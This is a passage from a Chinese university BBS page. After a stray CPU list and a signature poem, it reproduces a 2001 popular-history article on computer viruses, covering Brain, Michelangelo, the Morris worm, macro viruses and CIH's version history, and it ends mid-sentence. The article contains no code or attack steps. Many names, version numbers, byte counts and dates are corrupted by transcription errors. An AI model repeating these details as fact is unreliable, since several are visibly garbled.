4200+ 2.80GHz (San Diego) 　　Athlon 64 4400+ 3.00GHz (San Diego) 　　Athlon 64 4600+ 3.20GHz (San Diego) 　　Athlon 64 4800+ 3.40GHz (San Diego) 中关村在线 -- 剑法，其第一层境界 讲求人剑合一 剑就是人，人就是剑 手中寸草，也是利器 其第二层境界 讲求手中无剑，剑在心中 虽赤手空拳，却能以剑气 杀敌于百步之外 而剑法的最高境界 则是手中无剑 心中亦无剑 是以大胸怀包容一切 那便是不杀 便是和平 ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.64.17.44] ※ 来源:·日月光华 bbs.fudan.edu.cn·HTTP [FROM: 10.85.47.165] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- HackerVsSecurity精华区文章阅读 -------------------------------------------------------------------------------- 发信人: sumsun (Soso:"I hate awp!"), 信区: HackerVsSecurity 标 题: 潘多拉的魔盒：黑客与计算机的病毒情缘 发信站: 日月光华站 (Tue Dec 4 21:06:41 2001) , 站内信件 我释放了一个病毒，和我预先设想的运行情况完全不同，我把它的复制参数设置错了。 ——罗伯特·莫里斯 　　就像人类不仅要有上帝的情结，还要有撒旦的情怀一样，当人类造出神奇无比的计 算机之时，另一部分人却发明了另一种可以与之“媲美”的东西——“计算机病毒”。 以致使得现在的计算机用户们惶惶而不可终日，这也许就是黑客们的一大“功勋”！ 　　计算机病毒对计算机和因特网来说，就如同疾病之于人类一样如影相随。这些病毒 可以危害或破坏计算机系统的资源，中断或干扰计算机系统的正常运行，最终导致计算 机与因特网“生情’或“死亡”（瘫痪）。 　　无庸置疑，今天计算机病毒已成为一种新的人类社会公害，并已受到国际社会的严 重关注。打开的“潘多拉的盒于”释放出来的这个怪物不但使所有善良的人们而且也使 得这些“智力过剩”的黑客们大吃了一惊，谁也没有想到这个黑客们的不经意之作竟会 给人类造成如此大的灾难。可更不幸的是，计算机病毒还在不断地蔓延，不断地推出“ 新产品”。人类何时才能安宁，何时才能共入‘上帝之城”。让我们共同关注这个黑客 们的怪物——“计算机病毒”。 　　一、“病毒”：一个不幸的话题 　　在人类的记忆中，“病毒”好像就一直与不幸如影相随。 　　撩开病毒的面纱 　　在医学家看来，病毒是生物界一种非常细小的、肉眼看不见的、引发或传播疾病的 东西，其形态各异、种类各不相同。形形色色的病毒是医学与人类健康的大敌，迄今为 止，人类不知已有多少人命丧于此。 　　计算机病毒究竟为何物？记得曾有一个这样的笑话： 　　一个不小的单位买了十多台计算机，建了一个机房。一天，负责管理机房的小张发 现机房内的计算机都被病毒感染了，于是他就拟了一个报告，请求局长拨款购买一些防 治病毒的工具。局长拿着报告，很有些不高兴，他认为小张太娇气了，但宽厚的局长还 是大笔一挥，同意购买口罩手套消毒液若干⋯⋯ 　　当然，这样的笑话在今天绝不会发生了，一般的人都明白，所谓的计算机病毒，就 是隐藏于可执行文件中的一种干扰程序。 　　计算机病毒之所以被称之为病毒，就是它与生物病毒具有很相似的或相同的特点； 如形态各异、潜伏期长短不同。危害程度难测、种类有别等等；它还具有同生物病毒一 样的一个更令人恐怖的特点，这就是，具有传染性且可以繁殖。 　　计算机病毒的这种可传播性、可潜伏性和可激发性，使得其一旦运行起来便会对大 、中、小、微型计算机和互联网造成巨大的破坏和危害，使人类付出的大量资源和人力 化为泡沫。更甚者，这些病毒还可以破坏各种文件、数据，造成某种程度的网络瘫痪， 其损失更是无法用数字来形容。故此，有人形象地将它喻为计算机系统的“艾滋病”。 　　其实，计算机病毒出现的历史并不长。 　　1983年11月3日，弗瑞德·科亨（FredCohen）博士制作了世界上第一个有案可查的 病毒排序。同年11月10日，这一病毒获准在运行UNIX操作系统机器上进行实验。实验非 常成功：在成功的5次演示中，导致系统瘫痪所需的平均时间为30分钟，最短的一次仅仅 只用了5分钟。 　　1984年9月，国际信息处理联合会计算机安全技术委员会在加拿大多仑多举行年会， 弗瑞德·科亨博士首次正式发表了论文《计算机病毒：原理和实验》，公开提出了计算 机病毒的概念。1986年3月，儒迪吉·戴尔斯坦（RudigerDierstein）在巴黎举行的SEC RICOM 会议期间，发表了《计算机病毒：一种隐藏的威胁》一文。从此，计算机病毒概 念正式提出了，人间又多了一个有名有姓的恶魔。 　　1987年10月，美国得拉华大学受到了巴基斯坦病毒（Pakistan或称Brain病毒）的攻 击。它是已知的首例计算机病毒。接着，巴基斯坦病毒又在美国匹兹堡、华盛顿、宾夕 法尼亚等大学陆续出现；随后，又传到澳大利亚、新西兰、英、法、德、荷等国和我国 香港地区。该病毒是一种引导型病毒，以Brain为卷标，系巴基斯坦拉合尔（Labors）的 巴西特（Basit）和阿姆杰得（Aoped）所为。受感染的文件运行时，显示屏上将会出现 如下内容： 　　Welcome to the Dungeon 　　（c）1986Baist＆Amjed（pvt）Ltd． 　　BRAIN COMPUTER SERVICES 　　730Nizam Block All amaLgbalT。n 　　Labors，Pakistan 　　Phone：430791，44324892800530 　　Beware of this VIRUS 　　CoOaCIuCrVaCClnatlon 　　由显示内容可知，该病毒是在1986年编制出台的。 　　1987年9月，阿拉梅达（Alameda）病毒（国内称林荫道病毒）出现在美国加利福尼 亚的阿拉梅达学院，攻击了梅里特学院的计算机系统。 　　1987年1月15日，COMMAND－COM病毒（又称利哈依病毒）出现在宾夕法尼亚的利哈依 大学。1987年12月以色列耶路撒冷的希伯莱大学受到了计算机病毒的攻击，发现了黑色 星期五病毒和四月一日病毒（或称愚人节病毒）。此后，又出现了乒乓、大麻、维也纳 、批处理、宏病毒等。1988年，前苏联政府机构的计算机网络发现病毒入侵，3个月后， 据专家宣称发现了3类病毒，并查明了其中两种：一类是A型，专门阻塞存储器，迫使计 算机停止工作。一类是B型，破坏文件目录，使计算机无法工作。1988年春，台湾大学资 讯研究所一台参加国际计算机围棋比赛的计算机被病毒侵扰瘫痪，无法对养，这是台湾 发现的首例计算机病毒。从此，计算机病毒在世界上泛滥开来。 　　自1987年秋，计算机病毒开始受到世界范围内新闻机构的广泛关注和详细报道。不 断产生的计算机病毒及在世界范围内的泛滥和危害，加上新闻媒介的大量报道，一时成 为世界计算机界的焦点，几乎到了风声鹤唳谈“毒”色变的地步。1988年甚至被公认为 世界“计算机病毒年”。 　　众说纷纭的病毒来源 　　追溯计算机病毒的历史，无非是想找到它的根源，以便能将其根除。在电脑网络界 ，关于这些“智力过剩”的黑客为何制造这些病毒的说法不一，有的主张恶作剧说，有 的主张游戏说，有的主张程序员报复说，有的则认为是版权保护的需要。下面让我们看 几个比较有代表性的主张。 　　恶作剧说。所谓的恶作剧是指计算机编程人员开的“黑色”玩笑，以此来戏弄计算 机上的一些人，就像不懂事的孩子们制作的恶作剧一样，以此来取乐或显示出自己的存 在来。 　　在这里，说起恶作剧，我们不得不提一下它们的代表作“米开朗基罗病毒”事件。 这大约是有史以来最为著名，最为成功的恶作剧病毒。众所周知，米开朗基罗是意大利 文艺复兴时期著名的雕塑家、画家、建筑师和诗人。他中年时期的雕塑作品《大卫》， 一向被认为是象征着为正义事业而战的力量；西斯廷教堂的巨型屋顶画《创世纪》，更 是誉满天下。他的许多栩栩如生的雕塑作品、著名的绘画作品和建筑作品一直保存至今 ，无不时时唤起人们对伟大艺术家的景仰之情。（在我们参观一些网上艺术博物馆时， 这些作品还让今天的我们感叹不止。）可这位举世公认的、受人尊敬的伟大艺术家，在 世的时候也许连细菌、病毒都不知道，而在数百年之后，他的名字却跟一种可恶的“病 毒”、一种破坏力极强的计算机病毒连在一起。这一玩笑开得真有些让人哭笑不得！ 　　这种病毒是一种非常危险的计算机病毒，一旦发作，就可以把计算机内的存储数据 全部清除掉。令人惊奇的是，它还具有选择功能，往往还是破坏一些最为重要的数据。 “米氏病毒”的法宝是依赖时间的定时炸弹，程序的制作者们将它的“爆炸”日定为3月 6日。而恰巧，伟大的米开朗基罗的生日就是3月6日，于是人们便将这个大善与大恶连在 了一起，“米氏病毒”由此而得名。 　　1991年3月，“米氏病毒”首先在荷兰和瑞典露面。可警方和专家经过多方论证，认 定这种病毒来自台湾，并还认定“米氏病毒”是“世纪病毒”的变种。 　　要说“米氏病毒”的出名，那应是在1992年的3月5日至8日。“米氏病毒”的恐怖浪 潮风靡世界，让世界许多电脑网络“大出血”。虽然当时的人们已经事先得知了它的登 门日期，并且3月4日以前的一段时间，世界反病毒软件商的软件销售量比往年同期猛增 了30倍，但“米氏病毒”还是如入无人之境，着实把人们“黑”了一把。几乎全球的重 要新闻媒体对此都做了连续报道。 　　受损大户美国有数以万计的PC微机因“米氏病毒”发作而丢失了数据和程序。加利 福尼亚的市场研究公司——“数据咨询公司”网络中的六十余万台计算机，约有15见受 到了病毒侵害。南非近500家公司的一千多台计算机受到影响，而德国波恩鲁尔工业区受 “米氏病毒”的干扰，致使一家公司的75台计算机，大量的银行数据和软件资料毁于一 旦。亚洲的马来西亚、台湾、日本也受到了病毒的侵袭。越南有报道说，“米氏病毒” 在3月6日袭击了商业中心城市胡志明市，毁掉了近几十家公司电脑的硬盘。中国公安部 的一位官员透露，中国计算机被病毒侵入，丢失数据的情况比较严重，这些天来，提到 “米氏病毒”，仿佛大祸临头一样。 　　程序员报复说。它是指计算机的程序员为了发泄个人私仇而编制的破坏性程序。这 些人常常将病毒程序放到普通的程序中，这些病毒程序平时并不影响其它程序的运行， 可一旦这些计算机程序员需要它们的时候，就可以把它们激活，从而达到一定的目的。 据一家报纸报道，英国一家银行的一名计算机程序员在编写工作程序时，事先在计算机 中放入了一个病毒，他把病毒发作的条件设置为：“如果我的名字在工资档案中消失， 会计系统则发生紊乱。”后来，因早退之故，他被辞掉了。果不其然，不久，这家银行 会计系统出现了问题，而且，所有与这家银行联网的部门也都出现了紊乱。这种报复可 谓巧妙而又凶狠。 　　游戏程序说。它一般指由那些黑客们开发出的游戏程序。如著名的黑客、“蠕虫病 毒”的制造者莫里斯就是这方面的高手，早年他就经常与他们的朋友进行比赛，看谁制 造的病毒更厉害。“达尔文游戏”就是这类病毒的游戏，其玩法和规则是：先由每个参 与者编写一段攻击性的计算机程序，然后输入到计算机中去运行；程序在屏幕上进行你 死我活的互相攻击，直到一种程序把另一种程序摧毁。这种游戏因给人一种直观的“弱 肉强食”的图像，而将达尔文的进化论的核心思想“物竞天择，适者生存”予以生动的 演示，放取名“达尔文游戏”。许多的人认为病毒来源于这种戏渡的游戏。 　　以上是几种比较有代表性的关于计算机病毒的来源之说。 　　红色病毒狂潮 　　现在的人们越来越感觉到了，计算机病毒对计算机、因特网乃至社会的信息化进程 的影响越来越大。无论是什么人，只要你使用计算机，几乎没有未受过病毒侵袭的，如 果要说有差别，只是有程度的差异而已。国外有人估计，现在病毒的传染范围将每2个月 增加一倍。据不完全统计，仅在11月病毒感染就造成了1亿多美元的损失。病毒就像海洋 中的红色赤潮一样，所到之处无不侵染。 　　随着计算机病毒在世界上的泛滥，我国也难以幸免病毒的侵袭。1989年春，在我国 发现了首例计算机病毒。随之病毒开始在我国扩展，截止目前，据不完全统计，我国拥 有的计算机大约80％受到过病毒的侵害，几乎无一行业和系统幸免。在我国计算机病毒 已呈现泛滥之势，其对我国计算机的危害已到了十分严重的地步。国内一些不法分子甚 至把国外传人的计算机病毒“国产化”，更甚者，他们还升级为多种版本。如西安某大 学传出的“中国炸弹”就有好几种版本；广州某大学一学生则另辟新径，“开发”出了 国产的“中国一号”病毒。 　　1997年3月13日，被命名为“上海一号”的恶性病毒开始在我国发作。上海一号是一 个比较典型的可执行文件病毒，对付起来非常麻烦，直到北京华美星际推出了反病毒软 件“病毒克星”、“KV300”升级版，“上海一号”才不再到处逍遥。 　　“上海一号”病毒还是一个自加密的病毒，当病毒代码运行时，它会在内存中展开 ，并且是一个内在驻留型的病毒。它主要是感染当前目录下的各可执行MS－DOS程序（E XE、COM），并使得文件长度增加4077字节。由于这种病毒具有更改MS－DOS功能，故此 ，在带毒状态下使用DIR命令时看不到文件增大，只有在使用无毒的MS－DOS启动盘启动 才能看到。每月的13号病毒开始发作，删除COMAND、COM、格式化C：硬盘分区，其后果 不可逆转。如计算机用户在这一天把日期调过赔号，可以暂时免过一场灾难。一旦用户 忘记了这回事，在问号这一天开机了，一进入DOS，屏幕马上会变黑，屏幕下方有闪烁的 “ShanghaO·字样，硬盘指示灯则持续闪亮，此时再关机则为时已晚！ 　　1997年，“无政府者一号”（MDMA·川的恶性宏病毒紧随上海一号病毒之后开始在 我国扩散。一些目无法纪的现代无政府主义者自称该病毒是他《1编写的，该病毒主要是 破坏各种环境下的WORD系统，并且每月的五日发作。其最恶毒的特征是在计算机系统启 动对自动删除部分或所有文件。 　　1998年复，一种更令计算机用户胆战心惊的病毒在中国登陆了，这就是被设置为每 月的26号发作的CIH恶性病毒。这种病毒编制得十分巧妙，其长度不过IK。如果说它与过 去的病毒有什么不同的话，就是它可以进入BIOS（基本输入输出系统），进而可以破坏 计算机的硬件从而给用户造成无法弥补的损失。 　　自从病毒诞生的那一天起，计算机、网络便突然变成了弱不禁风的小姐，人们则不 得不时刻诚惶诚恐、战战兢兢地伺候着它。这些黑客们的“杰作”始终像阴魂一样跟在 这些计算机用户和网民的身后，人们怎能不诅咒这些恶魔的制造呢？没有他们，世界也 许会清凉许多！ 　　二、网络：病毒发威的天堂 　　在因特网诞生以前，病毒是被囚禁在一个个计算机之中的，它们想到处走动，建立 “功业”是非常困难的，传播媒体大多是依靠软盘。可自从全球性的、无中央控制设备 的。自由互联的“信息高速公路”诞生以后，这些黑客伞兵“杰作”仿佛一夜之间就变 成了肋生双翼的天使，可以自由地在各地区、各国之间游荡！令人防不胜防。 　　在今天的网络时代有这样一句颇为流行的话：“不要让你的电脑变成了孤儿。”可 这个孤儿也有一个好处，就是他不与外界进行软件、文档等的交流，那就相对安全得多 ，感染病毒的机会小得多。可今天这个网络时代，这简直是不可能的。但是，如果一旦 你的电脑经常“对外开放”、相互交流，特别是联上了因特网，那么你就会有一种“身 在江湖，心不由己”的感觉。 　　网络蠕虫之害 　　在这里，还是让我们先看一个80年代的富传奇色彩的恐怖故事——“电脑蠕虫”事 件。 　　说起蠕虫，人们立即会想到那些线形的、扁形的、棘头的虫子，令人不寒而栗地感 到生厌。这些软软的虫子，大多寄生在植物或动物的身上，有的也寄生在人体之中。电 脑感染的蠕虫病，显然不具有生物特征的实体，而是具有蠕虫的特征，这些“蠕虫”们 在电脑和电脑网络系统之中无孔不入到处游动，更令人难以容忍的是，它还可以进行自 我“繁殖”，即自动生出一段程序代码，从而使它们的团体进一步“壮大”。这样高级 别的病毒是一般的黑客制作不出的，大多出自一些“天才”的黑客之手。 　　众所周知，电脑尽管被人们称作“脑”，但它与人脑是有非常大的区别的，其中之 一是电脑不能同时多方面多层次地进行跳跃性、大跨度，甚至是毫无逻辑顺序的思维， 它只能依靠事先编制好的二进制程序依次运算下去。它的“想法”必须是合乎逻辑的。 天才的黑客们恰好看到了这一点，他们将一段程序近乎天衣无缝地插入到原先的一套完 整的程序之中，于是，电脑开始“生病”，出现诸如“反应”迟钝，“思维”缓慢等症 状，而在网络中因大量蠕虫程序的运行和传递，系统便会发生“梗阻”。严重的会使网 络阻断甚至瘫痪。这就是蠕虫，程序虽小，但功能巨大。 　　这种病毒之所以被称为蠕虫，就是由其寄生性而得名的，即在一台封闭的计算机上 ，它自身是找不到外出的途径的。然而，一旦多台计算机联成了网络，蠕虫便如入水的 故龙，开始施展自己的本领，它会在网络中窜来窜去，光顾每台用户的计算机，更甚者 可以从北欧一下窜到澳洲，冷不防地拜访因特网中的任何一位用户。“蠕虫”所访之处 ，无不留下其卑劣的痕迹，还在荧屏上向用户炫耀它的到来。所有这些“罪行”蠕虫们 还感觉不满足，于是还不断地繁殖自己的后代，新的蠕虫又开始例行同样的“工作”， 并接连繁殖自己的后代，就这样子又生孙，孙又生子，子子孙孙无穷匮矣！无怪乎人们 谈蠕虫色变。 　　从1982年夏克和哈勃提出“电脑蠕虫”这个概念以来，已不断出现了许多蠕虫，并 且几乎没有停止过运动。其中的典范当属天才黑客莫里斯制造的“蠕虫事件”。 　　1988年11月2日，一种病毒通过网络袭击了全美互联网络，不到两天便有六千多台联 网的计算机被感染。这种病毒进入系统后，在各种各样的文件核心部分的路径繁殖，它 所到之处，都毫不客气地自行复制数百次。这种复制虽然不起直接的破坏作用，但由于 病毒程序本身是种废物，而它又能非常迅速地扩散，使得受感染的系统负载变得越来越 大，以致不可承受。不到10小时，该病毒便传遍了全美国，加州大学相克利分校、兰德 公司（美国著名的国防政策研究所）、国家航空及太空总署艾姆研究中心、麻省理工学 院人工智能试验室、斯坦福大学、罗按拉摩斯国家试验室、马里兰州的导弹研究室⋯⋯ 全美大约造成了六千多台电脑关机，整个网络瘫痪24小时，直接经济损失达9600万美元 。这便是康奈尔大学23岁的研究生罗伯特·莫里斯（RobertMor－S）研制的著名病毒— —“蠕虫病毒”。莫里斯因此被判刑3年、10O0美元罚款、400小时无偿公益劳动。 　　“共享软件”的陷阱 　　在网络之上随处可见免费使用、复制以及下载的“共享软件”，正因其共用性，一 部分黑客把目光投向了这个领域，把“共享软件”当成了病毒传播的媒体。使其成为了 一个深不可测的陷阱，一不小心就可能身陷其中。 　　澳大利亚昆士兰理工大学的主要金融机关网络1996年曾受到了一种病毒的感染，继 而引起了混乱，虽然最后由抗病毒公司的专家清除了病毒，但人们对此网络仍然感到担 心。警方发现了病毒的制造者：一位未成年的少年。这名少年承认编制了病毒，但否认 将病毒放入网络。他为自己署名为HanyMcbungns，TerminaterAvenger或CaptainKmart。 他声明他已成功地放出4种病毒，而且都是公开的。他最近在编写一种共享软件病毒，它 的源码将以特有的公开发放版本推向社会。这种将病毒源代码放人公众领域的做法是极 端危险的。它使那些希望编写病毒的变种以及加强病毒毒性的别有用心的人，能够轻而 易举地作案，而且将加速病毒的蔓延。 　　但是警方宣称：病毒的公开发放型版本已在国外出现了，病毒版本包括一些汇编语 言病毒程序清单和一册可以给予读者（或病毒作者）提供若干编写窍门和意见的文本。 这个文本的结尾写道：“澳大利亚出品！虽然这个报告无助于经济发展。”警方判断这 有损于澳大利亚的形象，更担心这种公开发行的共享件式的病毒程序会在近期流行开去 。他们建议向社会发出必要的警告：“免费的午餐是没有的尸’希望人们提高警惕，不 要为了一点小便宜而招来报应。然而，警方对审理有关计算机病毒的案件信心不足，因 为他们怀疑这种缺乏或者没有技术上的凭据的起诉能否成功，他们说：“要使来自普通 老百姓的审查人员相信罪犯确实干了这件事，而且，这件事确实产生了不利的影响。” 　　所以，在这里奉劝众网友不要贪心，以免因小失大。 　　公开的病毒广告牌 　　现在，电子广告已成为信息化国家的信息交换、获取、登录和存取的公共场所。人 们不但可从上面获取许多需要的信息，而且还可以在上面登录一些自己需要发布的信息 。就这样，电子广告既成了信息广告，也成了人们交换传输某些记录的媒介。正因为其 方便快捷，所以这种新的传输手法受到了人们的欢迎，可令人生厌的是，一些别有用心 的人也尾随而来。这些黑客们利用电子广告牌不断地呼朋引伴，把窃得的情报和信息进 行分开传递，更甚者还把个人隐私公开曝光、把个人或单位的银行账户、口令以某种方 式在广告上透露，引诱他人进行不法之事。同时，这些计算机病毒制造者们还把病毒的 源程序、目标程序甚至编写技巧也通过计算机非法传送到电子广告栏上。 　　1992年2月10日，一名自称莱瑟（HellRaiseO的人对报界发表谈话，说他是计算机病 毒的编制者之一，而且他所编制的病毒自成体系，独有新意，并宣称，他编写病毒的动 机不为别的，只是为了惊险和刺激。他不无自豪地说，他是PhalconSkism俱乐部的成员 ，这个俱乐部是由纵贯北美的若干计算机黑客所组成的。 　　同年2月，这个俱乐部的10名成员以匿名方式拨通了世界著名的数据集团刊物——《 计算机世界》的电话，与《计算机世界》的编辑进行了一次有关目前病毒的讨论。这实 际上等于开了一次远程电话会议。他们自称都是PS俱乐部的成员，年龄匕到23岁之间， 而且承认对目前社会上失控的病毒负责。当然，在使用这种公开的电话时，为了不使人 辨别其真名，他们用的都是假名。他们说，之所以安排这次电话会议，是为了向全世界 宣布他们对计算机道德的看法。 　　这些年轻人认为，社会上对病毒制造者的看法抱有恶意是不对的。因为在大多数情 况下，病毒生产者只不过是为了寻求挑战、冒睑，寻找刺激，以及显示自己计算机技术 的高超罢了。虽然有时无意中造成了破坏，但这并＊是他们的本意。例如：“我们编写 了一个称B。bROOS 的病毒，它以一个电子广告画家的名家的名字命名，这个病毒虽然感 染文件，它随机地显示出‘BObisms这样的广告信息，但它不毁坏磁盘，也不做任何破坏 。”有时，他们编写病毒程序，“就像在墙上乱涂乱画一样”。 　　他们都承认自己是病毒的编制者，但声称绝不是病毒的传播者，当然，也不对以后 这种病毒的变种和产生的问题负责。他们把病毒源程序传送并登录在电子广告牌上，仅 此而已。 　　面对这些毫无道德意识和社会责任感的青年，我们真是哭笑不得，谴责他们显然是 无济于事的。可现在人们又无法对电子广告进行限制，所以推一的办法是每一个网民都 小心对待电子广告。 　　恐怖的电子邮件 　　电子邮件是互联网上一种常用的工具，网民们几乎没有不使用它的。它用起来简单 、方便、快捷又便宜。 　　也正因为光顾的人多，电子邮件也被一些黑客给盯上了。这些别有用心的家伙居然 用它来邮寄计算机病毒！当你打开电子邮件时，邮件所带的病毒就会悄悄地潜入到你的 电脑之中，感染你的系统，破坏你的硬盘，以致使你的电脑彻底毁掉。 　　Word宏病毒，这可能是大家比较熟悉的病毒。它专门攻击使用化M字处理软件编的文 档，一旦被这种病毒感染上，它会使文件不停地存盘，其文件的长度莫名其妙地成倍增 长，甚至还会出现好几个小的文档，这种病毒还有一种奇妙的功能，这就是会使WOrd字 处理软件“另存为”键失效、打印报铝等等。Word宏病毒于1995年8月最初在美国流行， 2个月后这种病毒便在亚洲现身。被称为台湾1号（TaiwanN．1）病毒在中国大陆大肆流 行。其实这种宏病毒是在专门利用微软公司的Activex思想中的缺陷，微软的offlee系列 就是运用这一思想编制的。 　　目前，M宏病毒遍布因特网上的节点，一些节点随时可遇到一百多种Word宏病毒。又 加。ffice系列有着极为广泛的应用，用户在不知不觉中便将带有宏病毒的优d文档作为 电子函件的附件发出去，所以这种宏病毒就呈泛滥之势。 　　1996年9月，在美国的互联网上发现了一种新病毒——“好时光”病毒。这种病毒破 坏性极强，久享恶名的一些病毒，如“米开朗基罗”病毒等，与它相比也只能是小巫见 大巫。它的狡猾过人之处在于，即使没有交换的程序，一台新的计算机也有可能感染此 种病毒，因为它是以因特网上的电子函件系统为传播途径的。一旦感染上了“好时光” ，如果这台计算机带有硬盘，硬盘将整个被毁；继续发展下去，它还会破坏微处理器。 这时的时光可能就不再美好了。 　　在1996年12月，名为PenpalGneetings的“特洛伊木马”的新病毒出现，它巧妙地以 电子函件信息的外表出现，表面上看似征友，而一旦用户下载，那就理上了祸根，这种 病毒就会捣毁硬盘，还自动向信箱中所存的所有地址转发这条讯息。 　　对于黑客们利用网络这条信息高速公路传播种种“病毒”的罪行，也许很多人想到 了一个对付他们的杀手银——防火墙（firewall），它真可以把这些病毒拒之于门外吗 ？这虽然不失为一种好的方法，但传统的防火墙是治表不治本，它不具有杀毒功能，只 能防止外来的非法访问。所以，对付网络上的病毒，我们还得另寻它路。 　　三、病毒双煞 　　谈虎色变的CIH 　　从1998年的4月26日开始，26日成为一个令电脑用户头疼而又恐惧的日子，因为在这 一天瘟神一样的CIH病毒诞生了。从此，每年的4月26日以及每月的26日都成为了这一黑 色幽灵游荡的日子。 　　1998年8月26日，该病毒入侵中国。 　　1998年8月31日，我国公安部发出防范CIH病毒的紧急通知。 　　1998年9月1日，中国中央电视台在新闻联播中播发了此通知。 　　接着，全国各大报刊纷纷不惜版面、不遗余力地在显著版面刊发大量的相关报道。 　　反病毒液一时也打破长久沉寂，大大红火了一把。 　　刹那间，全世界防、查、杀CIH病毒的呼声昏天黑地。 　　可时到今日，CIH病毒还在大面积继续传播，大量的PC机在CIH的肆虐中一批批倒下 ，SINA电脑论坛中“哭”声响彻天际。 　　1999年4月26日，这一幽灵再次出现，寻找自己的猎物，CIH全面发作。这一天简直 成了PC用户的灾难日：开机，屏幕没有任何显示，只有死一般的沉寂。 　　CIH病毒到底是什么病毒？这一怪兽究竟来自何方？ 　　CIH病毒原本属文件型病毒，其别名有Win95．CIH。SPacefiller、Win32CIH、PE－ CIH 它主要感染Windowsgi98下的可执行文件（PE格式，POrtableExecutableFo。mat） ，目前的版本不感染DOS以及WIN3X（NE格式，WindowsandOSZWin彻ws3。lexecutionFil eFormat）下的可执行文件，并且在WinNT中无效。其发展过程经历了VI．0，VI．，VI． 2，VI．3，VI、4总共5个版本，目前最流行的是VI，2版本。 　　而台湾工学院学生陈盈豪是它的缔造者。这一“学生电脑专家”莫名其妙的恶作剧 打开了“潘多拉的魔盒”。陈盈豪在网上新闻组发表公开信，称其编写的计算机CIH系列 病毒‘给大家造成了不便”，为此他“深表歉意”。 　　据报道，这名台湾的大学生在公开信中说，由他编写的CIH病毒是1998年5月底突然 由其宿舍迅速扩散到各大网站的。因为网络四通八达，同时病毒的感染力甚强，于是造 成了始料不及的灾难。 　　《行天98》反病毒软件发明者刘杰说，CIH病毒的作者是个台湾人，CIH这三个英文 字母很可能与他的姓名有关。事实证明陈盈豪正是用他的名字命名了这种病毒。 　　陈盈豪本人也有这样的自白：“相信不少人很想砍我”、“我现在说什么都没有用 ，实在很抱歉”、“什么人工智慧、防未知病毒入侵，全是唬人⋯⋯防毒公司的广告， 根本就是骗人的，这次的事情，就可以看得出来。” 　　CIH病毒的各种不同版本随时间的发展还在不断完善，其基本发展历程为： 　　CIH病毒VI．0版本： 　　最初的VI．0版本仅仅只有656字节，其雏形显得比较简单，与普通类型的病毒在结 构上并无多大的改善，其最大的“卖点”是在于其是当时为数不多的、可感染Microsof tWindowsPE类可执行文件的病毒之一，被其感染的程序文件长度增加，此版本的CIH 不 具有破坏性。 　　CIH病毒VI．l版本： 　　病毒长度为796字节，此版本的CIH病毒具有可判断WinNT软件的功能，一旦判断用户 运行的是WinNT，则不发生作用，进行自我隐藏，以避免产生错误提示信息，同时使用了 更加优化的代码，以缩减其长度。此版本的CIH另外一个优点在于其可以利用WinPE类可 执行文件中的“空隙”，将自身根据需要分裂成几个部分后，分别插入到PE类可执行文 件中，这样做的优点是在感染大部分WinPE类文件时，不会导致文件长度增加。 　　CIH病毒VI．2版本： 　　当其发展到VI．2版本时，除了改正了一些VI．l版本的缺陷之外，同时增加了破坏 用户硬盘以及用户主机BIOS程序的代码，这一改进，使其步入恶性病毒的行列，此版本 的CIH 病毒体长度为1003字节。 　　CIH病毒VI．3版本的CIH病毒最大的缺陷在于当其感染ZIP自解压包文件（ZI。。If －extractorsfile）时，将导致此ZIP压缩包在自解压时出现： 　　whz⋯SI－Exlraclo山eadercom⋯· 　　NSsiblecause：dlskoriletranslererror．的错误警告信息。VI．3版本的CIH病毒 显得比较仓促，其改进点便是针对以上缺陷的，它的改进方法是：一旦判断开启的文件 是WinZip 类的自解压程序，则不进行感染。同时，此版本的CIH病毒修改了发作时间。 　　VI．3版本的CIH病毒长度为1010字节。 　　CIH病毒VI．4版本： 　　此版本的CIH病毒改进了上几个版本中的缺陷，不感染ZIP自解压包文件，同时修改 了发作日期及病毒中的版权信息（版本信息被更改为：“CIHVI．4TATUNG”，在以前版 本中的相关信息为“CIHVI．XrtIT’），此版本的长度为互019字节。 　　从上面的说明中，我们可以看出，实际上，在CIH的相关版本中，只有VI．2VI．3． VI．4这3个版本的病毒具有实际的破坏性，其中VI．2版本的CIH病毒发作日期为每年的 4月26日，这也就是当前最流行的病毒版本，VI．3版本的发作日期为每年的6月26日，而 CIHVI．4版本的发作日期则被修改为每月的26日，这一改变大大缩短了发作期限，增加 了其的破坏性。 　　最令人恐惧的则是CIH病毒居然产生了变种“切尔诺贝利”（ChernobyD病毒，该病 毒1999年4月26日，袭击了全世界的计算机，它能删除硬盘上的数据，甚至在某些计算机 上导致不能正常启动的后果。尽管受到该病毒攻击的机器数目要比近期受到Melissa病毒 感染的机器数目要少许多，但对这些少数不幸的人来说，新病毒的攻击更加具有危险性 。 　　其中一位女士的诗集已经快要完成，但是却在这次病毒狂噬中完全丢失了。一位先 生的博士论文也丢失了，芬兰赫尔辛基一家计算机安全公司DataFellows的kkoHermanni Hypponen 这样说道。最严重的破坏似乎发生在亚洲和欧洲的部分地区。在这些地区，防 病毒体系较为薄弱，而且泛滥的盗版软件成为了携带动病毒的载体。DataFellows报道了 病毒在香港，新加坡，印度，芬兰，新西兰，英国，瑞典，日本和马耳他造成的破坏， 几百台机器甚至在开始业务的时候就已受到攻击。大量被感染的计算机都是在亚洲发现 的。CarnegieMellon大学的计算机应急小组（CERT）说，他们仅得知几十台计算机受到 该病毒的攻击。“实际上事情并没有那么严重，”该小组的一位案例工作人员说。但是 Cher－nobyl病毒在美国小范围的影响并不能安慰那些受到感染的人们。DataFellows的 Hypponen说，修复的费用将高达几百万美元。“跟Melissa病毒不同，这种病毒能导致真 正的问题并给某些人带来严重损失，”他说。但计算机厂商没有做出反应，说多少用户 正在寻求帮助；因此他们是否对该问题负有责任还不清楚。CERT说，一项数据恢复服务 也许能够恢复丢失的数据。CERT在他的网站上发布了销售商信息和其他一些常见问题。 　　CERT说：如果病毒发出了攻击，数据将是“可能无法恢复”的；要使计算机重新工 作，必须重新安装软件。但这一工作不是大多数家庭电脑用户所能做到的。该病毒于26 日那天早晨攻击了位于ChestnutHill和Massachus。tis的Boston大学的校园，清除了大 的100名学生的硬盘，其中很多人正在准备学期论文，该学校的发言人JackDunn说。 　　计算机专家指出，如果用户26日那天不启动机器或者重新设置日期，就可以避免病 毒的攻击，因为该病毒在计算机系统到达每月26目的时候被激活。 　　虽然从去年开始，该病毒就一直于每月26日发作，但这次的变种是流行最广和最危 险的一种。1999年4月份的CIH病毒之所以被叫作Chernobyl病毒，是因为它的发作时期是 苏联核事故的周年纪念日，那次事故是一次最严重的技术灾难。大多数防病毒软件都能 